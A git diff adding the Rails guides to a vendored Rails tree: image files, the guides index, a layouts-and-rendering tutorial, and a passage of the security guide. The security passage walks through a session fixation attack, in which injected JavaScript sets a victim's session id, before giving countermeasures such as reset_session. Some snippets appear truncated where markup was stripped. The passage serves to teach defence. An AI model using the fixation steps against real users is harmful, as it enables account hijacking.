b/vendor/rails/railties/doc/guides/source/images/habtm.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/has_many.png b/vendor/rails/railties/doc/guides/source/images/has_many.png new file mode 100644 index 00000000..6cff5846 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/has_many.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/has_many_through.png b/vendor/rails/railties/doc/guides/source/images/has_many_through.png new file mode 100644 index 00000000..85d75999 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/has_many_through.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/has_one.png b/vendor/rails/railties/doc/guides/source/images/has_one.png new file mode 100644 index 00000000..a70ddaaa Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/has_one.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/has_one_through.png b/vendor/rails/railties/doc/guides/source/images/has_one_through.png new file mode 100644 index 00000000..89a7617a Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/has_one_through.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/header_backdrop.png b/vendor/rails/railties/doc/guides/source/images/header_backdrop.png new file mode 100644 index 00000000..ff298217 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/header_backdrop.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/README b/vendor/rails/railties/doc/guides/source/images/icons/README new file mode 100644 index 00000000..f12b2a73 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/images/icons/README @@ -0,0 +1,5 @@ +Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook +icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency +from the Jimmac icons to get round MS IE and FOP PNG incompatibilies. + +Stuart Rackham diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png new file mode 100644 index 00000000..7d473430 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/1.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png new file mode 100644 index 00000000..997bbc82 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/10.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png new file mode 100644 index 00000000..ce47dac3 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/11.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png new file mode 100644 index 00000000..31daf4e2 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/12.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png new file mode 100644 index 00000000..14021a89 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/13.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png new file mode 100644 index 00000000..64014b75 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/14.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png new file mode 100644 index 00000000..0d65765f Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/15.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png new file mode 100644 index 00000000..5d09341b Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/2.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png new file mode 100644 index 00000000..ef7b7004 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/3.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png new file mode 100644 index 00000000..adb8364e Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/4.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png new file mode 100644 index 00000000..4d7eb460 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/5.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png new file mode 100644 index 00000000..0ba694af Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/6.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png new file mode 100644 index 00000000..472e96f8 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/7.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png new file mode 100644 index 00000000..5e60973c Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/8.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png b/vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png new file mode 100644 index 00000000..a0676d26 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/callouts/9.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/caution.png b/vendor/rails/railties/doc/guides/source/images/icons/caution.png new file mode 100644 index 00000000..cb9d5ea0 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/caution.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/example.png b/vendor/rails/railties/doc/guides/source/images/icons/example.png new file mode 100644 index 00000000..bba1c001 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/example.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/home.png b/vendor/rails/railties/doc/guides/source/images/icons/home.png new file mode 100644 index 00000000..37a5231b Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/home.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/important.png b/vendor/rails/railties/doc/guides/source/images/icons/important.png new file mode 100644 index 00000000..1096c232 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/important.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/next.png b/vendor/rails/railties/doc/guides/source/images/icons/next.png new file mode 100644 index 00000000..64e126bd Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/next.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/note.png b/vendor/rails/railties/doc/guides/source/images/icons/note.png new file mode 100644 index 00000000..841820f7 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/note.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/prev.png b/vendor/rails/railties/doc/guides/source/images/icons/prev.png new file mode 100644 index 00000000..3e8f12fe Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/prev.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/tip.png b/vendor/rails/railties/doc/guides/source/images/icons/tip.png new file mode 100644 index 00000000..a3a029d8 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/tip.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/up.png b/vendor/rails/railties/doc/guides/source/images/icons/up.png new file mode 100644 index 00000000..2db1ce62 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/up.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/icons/warning.png b/vendor/rails/railties/doc/guides/source/images/icons/warning.png new file mode 100644 index 00000000..0b0c419d Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/icons/warning.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/polymorphic.png b/vendor/rails/railties/doc/guides/source/images/polymorphic.png new file mode 100644 index 00000000..ff2fd9f7 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/polymorphic.png differ diff --git a/vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif b/vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif new file mode 100644 index 00000000..58960ee4 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/rails_logo_remix.gif differ diff --git a/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif b/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif new file mode 100644 index 00000000..98ffefaf Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif differ diff --git a/vendor/rails/railties/doc/guides/source/images/session_fixation.png b/vendor/rails/railties/doc/guides/source/images/session_fixation.png new file mode 100644 index 00000000..6b084508 Binary files /dev/null and b/vendor/rails/railties/doc/guides/source/images/session_fixation.png differ diff --git a/vendor/rails/railties/doc/guides/source/index.txt b/vendor/rails/railties/doc/guides/source/index.txt new file mode 100644 index 00000000..8828e1d3 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/index.txt @@ -0,0 +1,118 @@ +Ruby on Rails guides +==================== + +WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress. + +CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket. + +++++++++++++++++++++++++++++++++++++++ +

Start Here

+++++++++++++++++++++++++++++++++++++++ + +.link:getting_started_with_rails.html[Getting Started with Rails] +*********************************************************** +Everything you need to know to install Rails and create your first application. +*********************************************************** + +++++++++++++++++++++++++++++++++++++++ +

Models

+++++++++++++++++++++++++++++++++++++++ + +.link:migrations.html[Rails Database Migrations] +*********************************************************** +This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. +*********************************************************** + +.link:association_basics.html[Active Record Associations] +*********************************************************** +This guide covers all the associations provided by Active Record. +*********************************************************** + +.link:finders.html[Active Record Finders] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket] + +This guide covers the find method defined in ActiveRecord::Base, as well as named scopes. +*********************************************************** + +++++++++++++++++++++++++++++++++++++++ +

Views

+++++++++++++++++++++++++++++++++++++++ + +.link:layouts_and_rendering.html[Layouts and Rendering in Rails] +*********************************************************** +This guide covers the basic layout features of Action Controller and Action View, +including rendering and redirecting, using +content_for+ blocks, and working +with partials. +*********************************************************** + +.link:form_helpers.html[Action View Form Helpers] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/1[Lighthouse Ticket] + +Guide to using built in Form helpers. +*********************************************************** + +++++++++++++++++++++++++++++++++++++++ +

Controllers

+++++++++++++++++++++++++++++++++++++++ + +.link:routing_outside_in.html[Rails Routing from the Outside In] +*********************************************************** +This guide covers the user-facing features of Rails routing. If you want to +understand how to use routing in your own Rails applications, start here. +*********************************************************** + +.link:actioncontroller_basics.html[Basics of Action Controller] +*********************************************************** +This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. +*********************************************************** + +.link:caching_with_rails.html[Rails Caching] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/10[Lighthouse Ticket] + +This guide covers the three types of caching that Rails provides by default. +*********************************************************** + +++++++++++++++++++++++++++++++++++++++ +

Digging Deeper

+++++++++++++++++++++++++++++++++++++++ + +.link:testing_rails_applications.html[Testing Rails Applications] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket] + +This is a rather comprehensive guide to doing both unit and functional tests +in Rails. It covers everything from ``What is a test?'' to the testing APIs. +Enjoy. +*********************************************************** + +.link:security.html[Securing Rails Applications] +*********************************************************** +This guide describes common security problems in web applications and how to +avoid them with Rails. +*********************************************************** + +.link:debugging_rails_applications.html[Debugging Rails Applications] +*********************************************************** +This guide describes how to debug Rails applications. It covers the different +ways of achieving this and how to understand what is happening "behind the scenes" +of your code. +*********************************************************** + +.link:benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/4[Lighthouse Ticket] + +This guide covers ways to analyze and optimize your running Rails code. +*********************************************************** + +.link:creating_plugins.html[The Basics of Creating Rails Plugins] +*********************************************************** +This guide covers how to build a plugin to extend the functionality of Rails. +*********************************************************** + +Authors who have contributed to complete guides are listed link:authors.html[here]. + +This work is licensed under a link:http://creativecommons.org/licenses/by-nc-sa/3.0/[Creative Commons Attribution-Noncommercial-Share Alike 3.0 License] diff --git a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt b/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt new file mode 100644 index 00000000..2cba53b9 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt @@ -0,0 +1,982 @@ +Layouts and Rendering in Rails +============================== + +This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to: + +* Use the various rendering methods built in to Rails +* Create layouts with multiple content sections +* Use partials to DRY up your views + +== Overview: How the Pieces Fit Together + +This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide. + +In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide. + +== Creating Responses + +From the controller's point of view, there are three ways to create an HTTP response: + +* Call +render+ to create a full response to send back to the browser +* Call +redirect_to+ to send an HTTP redirect status code to the browser +* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser + +I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all. + +=== Rendering by Default: Convention Over Configuration in Action + +You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class: + +[source, ruby] +------------------------------------------------------- +def show + @book = Book.find(params[:id]) +end +------------------------------------------------------- + +Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response. + +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails. + +=== Using +render+ + +In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. + +TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. + +==== Rendering Nothing + +Perhaps the simplest thing you can do with +render+ is to render nothing at all: + +[source, ruby] +------------------------------------------------------- +render :nothing => true +------------------------------------------------------- + +This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below). + +TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. + +==== Using +render+ with +:action+ + +If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the +:action+ option: + +[source, ruby] +------------------------------------------------------- +def update + @book = Book.find(params[:id]) + if @book.update_attributes(params[:book]) + redirect_to(@book) + else + render :action => "edit" + end + end +end +------------------------------------------------------- + +If the call to +update_attributes_ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller. + +WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+. + +==== Using +render+ with +:template+ + +What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the +:template+ option to +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way: + +[source, ruby] +------------------------------------------------------- +render :template => 'products/show' +------------------------------------------------------- + +==== Using +render+ with +:file+ + +If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the +:file+ option to +render+: + +[source, ruby] +------------------------------------------------------- +render :file => "/u/apps/warehouse_app/current/app/views/products/show" +------------------------------------------------------- + +The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. + +NOTE: By default, if you use the +:file+ option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option + +==== Using +render+ with +:inline+ + +The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid: + +[source, ruby] +------------------------------------------------------- +render :inline => "<% products.each do |p| %>

<%= p.name %>

<% end %>" +------------------------------------------------------- + +WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead. + +By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option: + +[source, ruby] +------------------------------------------------------- +render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder +------------------------------------------------------- + +==== Using +render+ with +:update+ + +You can also render javascript-based page updates inline using the +:update+ option to +render+: + +[source, ruby] +------------------------------------------------------- +render :update do |page| + page.replace_html 'warning', "Invalid options supplied" +end +------------------------------------------------------- + +WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update. + +==== Rendering Text + +You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+: + +[source, ruby] +------------------------------------------------------- +render :text => "OK" +------------------------------------------------------- + +TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML. + +NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option + +==== Rendering JSON + +JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser: + +[source, ruby] +------------------------------------------------------- +render :json => @product +------------------------------------------------------- + +TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you. + +==== Rendering XML + +Rails also has built-in support for converting objects to XML and rendering that XML back to the caller: + +[source, ruby] +------------------------------------------------------- +render :xml => @product +------------------------------------------------------- + +TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you. + +==== Rendering Vanilla JavaScript + +Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file): + +[source, ruby] +------------------------------------------------------- +render :js => "alert('Hello Rails');" +------------------------------------------------------- + +This will send the supplied string to the browser with a MIME type of +text/javascript+. + +==== Options for +render+ + +Calls to the +render+ method generally accept four options: + +* +:content_type+ +* +:layout+ +* +:status+ +* +:location+ + +===== The +:content_type+ Option + +By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option: + +[source, ruby] +------------------------------------------------------- +render :file => filename, :content_type => 'application/rss' +------------------------------------------------------- + +===== The +:layout+ Option + +With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. + +You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action: + +[source, ruby] +------------------------------------------------------- +render :layout => 'special_layout' +------------------------------------------------------- + +You can also tell Rails to render with no layout at all: + +[source, ruby] +------------------------------------------------------- +render :layout => false +------------------------------------------------------- + +===== The +:status+ Option + +Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this: + +[source, ruby] +------------------------------------------------------- +render :status => 500 +render :status => :forbidden +------------------------------------------------------- + +Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how it maps symbols to status codes in that file. + +===== The +:location+ Option + +You can use the +:location+ option to set the HTTP +Location+ header: + +[source, ruby] +------------------------------------------------------- +render :xml => photo, :location => photo_url(photo) +------------------------------------------------------- + +==== Finding Layouts + +To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+. If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. + +===== Specifying Layouts on a per-Controller Basis + +You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: + +[source, ruby] +------------------------------------------------------- +class ProductsController < ApplicationController + layout "inventory" + #... +end +------------------------------------------------------- + +With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. + +To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: + +[source, ruby] +------------------------------------------------------- +class ApplicationController < ActionController::Base + layout "main" + #... +end +------------------------------------------------------- + +With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. + +===== Choosing Layouts at Runtime + +You can use a symbol to defer the choice of layout until a request is processed: + +[source, ruby] +------------------------------------------------------- +class ProductsController < ApplicationController + layout :products_layout + + def show + @product = Product.find(params[:id]) + end + + private + def products_layout + @current_user.special? ? "special" : "products" + end + +end +------------------------------------------------------- + +Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: + +[source, ruby] +------------------------------------------------------- +class ProductsController < ApplicationController + layout proc{ |controller| controller. + # ... +end +------------------------------------------------------- + +===== Conditional Layouts + +Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names: + +------------------------------------------------------- +class ProductsController < ApplicationController + layout "inventory", :only => :index + layout "product", :except => [:index, :rss] + #... +end +------------------------------------------------------- + +With those declarations, the +inventory+ layout would be used only for the +index+ method, the +product+ layout would be used for everything else except the +rss+ method, and the +rss+ method will have its layout determined by the automatic layout rules. + +===== Layout Inheritance + +Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: + ++application.rb+: + +[source, ruby] +------------------------------------------------------- +class ApplicationController < ActionController::Base + layout "main" + #... +end +------------------------------------------------------- + ++posts_controller.rb+: + +[source, ruby] +------------------------------------------------------- +class PostsController < ApplicationController + # ... +end +------------------------------------------------------- + ++special_posts_controller.rb+: + +[source, ruby] +------------------------------------------------------- +class SpecialPostsController < PostsController + layout "special" + # ... +end +------------------------------------------------------- + ++old_posts_controller.rb+: + +[source, ruby] +------------------------------------------------------- +class OldPostsController < SpecialPostsController + layout nil + + def show + @post = Post.find(params[:id]) + end + + def index + @old_posts = Post.older + render :layout => "old" + end + # ... +end +------------------------------------------------------- + +In this application: + +* In general, views will be rendered in the +main+ layout +* +PostsController#index+ will use the +main+ layout +* +SpecialPostsController#index+ will use the +special+ layout +* +OldPostsController#show+ will use no layout at all +* +OldPostsController#index+ will use the +old+ layout + +==== Avoiding Double Render Errors + +Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works. + +For example, here's some code that will trigger this error: + +[source, ruby] +------------------------------------------------------- +def show + @book = Book.find(params[:id]) + if @book.special? + render :action => "special_show" + end +end +------------------------------------------------------- + +If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method: + +[source, ruby] +------------------------------------------------------- +def show + @book = Book.find(params[:id]) + if @book.special? + render :action => "special_show" and return + end +end +------------------------------------------------------- + +=== Using +redirect_to+ + +Another way to handle returning responses to a HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: + +[source, ruby] +------------------------------------------------------- +redirect_to photos_path +------------------------------------------------------- + +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: + +------------------------------------------------------- +redirect_to :back +------------------------------------------------------- + +==== Getting a Different Redirect Status Code + +Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option: + +------------------------------------------------------- +redirect_to photos_path, :status => 301 +------------------------------------------------------- + +Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations. + +==== The Difference Between +render+ and +redirect+ + +Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code. + +Consider these actions to see the difference: + +[source, ruby] +------------------------------------------------------- +def index + @books = Book.find(:all) +end + +def show + @book = Book.find(params[:id]) + if @book.nil? + render :action => "index" and return + end +end +------------------------------------------------------- + +With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: + +[source, ruby] +------------------------------------------------------- +def index + @books = Book.find(:all) +end + +def show + @book = Book.find(params[:id]) + if @book.nil? + redirect_to :action => "index" and return + end +end +------------------------------------------------------- + +With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. + +=== Using +head+ To Build Header-Only Responses + +The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header: + +[source, ruby] +------------------------------------------------------- +head :bad_request +------------------------------------------------------- + +Or you can use other HTTP headers to convey additional information: + +[source, ruby] +------------------------------------------------------- +head :created, :location => photo_path(@photo) +------------------------------------------------------- + +== Structuring Layouts + +When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: + +* Asset tags +* +yield+ and +content_for+ +* Partials + +I'll discuss each of these in turn. + +=== Asset Tags + +Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag: + +* auto_discovery_link_tag +* javascript_include_tag +* stylesheet_link_tag +* image_tag + +You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the ++ section of a layout. + +WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. + +==== Linking to Feeds with +auto_discovery_link_tag+ + +The +auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: + +[source, ruby] +------------------------------------------------------- +<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %> +------------------------------------------------------- + +There are three tag options available for +auto_discovery_link_tag+: + +* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically +* +:title+ specifies the title of the link + +==== Linking to Javascript Files with +javascript_include_tag+ + +The +javascript_include_tag+ helper returns an HTML ++ +Read more about XSS and injection later on. + +. The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. + +. As the new trap session is unused, the web application will require the user to authenticate. + +. From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. + +=== Session fixation – Countermeasures + +-- _One line of code will protect you from session fixation._ + +The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: + +[source, ruby] +---------------------------------------------------------------------------- +reset_session +---------------------------------------------------------------------------- + +If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#. + +Another countermeasure is to [,#fffcdb]#save user-specific properties in the session#, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. [,#fffcdb]#These might change over the course of a session#, so these users will not be able to use your application, or only in a limited way. + +=== Session expiry + +-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ + +One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so 